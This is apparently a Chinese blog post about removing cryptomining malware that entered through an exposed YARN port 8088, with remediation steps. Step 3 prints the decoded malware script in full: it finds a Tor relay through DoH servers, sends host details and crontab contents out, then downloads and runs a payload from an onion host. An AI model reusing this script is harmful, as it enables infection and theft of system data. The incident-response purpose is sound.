1. 程式人生 > 其它 >Yarn叢集8088埠被入侵挖礦

Yarn叢集8088埠被入侵挖礦

1、切換到yarn使用者,如果提示切換不了,修改/etc/passwd檔案

找到yarn使用者那一行,這個地方我就截圖舉例一下:把sbin修改為bin 把nologin修改為bash

2、檢視crontab 定時任務,一般都有一個定時任務,找到執行的檔案,我這邊是一個base64編碼執行指令碼

crontab -l

3、base64解碼之後如下

gh6uVzRB8a0DJ3I2m68OP9Zy1ltP7ik
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d
=$(grep x:$(id -u): /etc/passwd|cut -d: -f6) c=$(echo "curl -4fsSLkA- -m200") t=$(echo "sjetn54bpsfwmyxkflldgnq6kzcxd2j3bg5s4nxkzs7qoshr2jhhiyyd") sockz() { n=(doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com fi.doh.dns.snopyta.org resolver-eu.lelux.fi
doh.li dns.digitale-gesellschaft.ch) p=$(echo "dns-query?name=relay.tor2socks.in") s=$($c https://${n[$((RANDOM%11))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|head -n 1) } fexe() { for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm
-f i && break;done } u() { sockz f=/int.$(uname -m) x=./$(date|md5sum|cut -f1 -d-) r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0) $c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r chmod +x $x;$x;rm -f $x } for h in tor2web.in tor2web.it do if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then fexe;u $t.$h ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h) ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h) else break fi done m뀀

4、上面標紅的注意一下,可以通過ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status 檢視到父程序,/tmp/.X11-unix/01 這個下面就是原始檔

5、殺掉父程序

6、crontab -r刪除定時任務

7、退出來到root,殺掉佔CPU的那個挖礦程序,刪除/tmp下面的原始檔

8、開啟防火牆,禁掉8088埠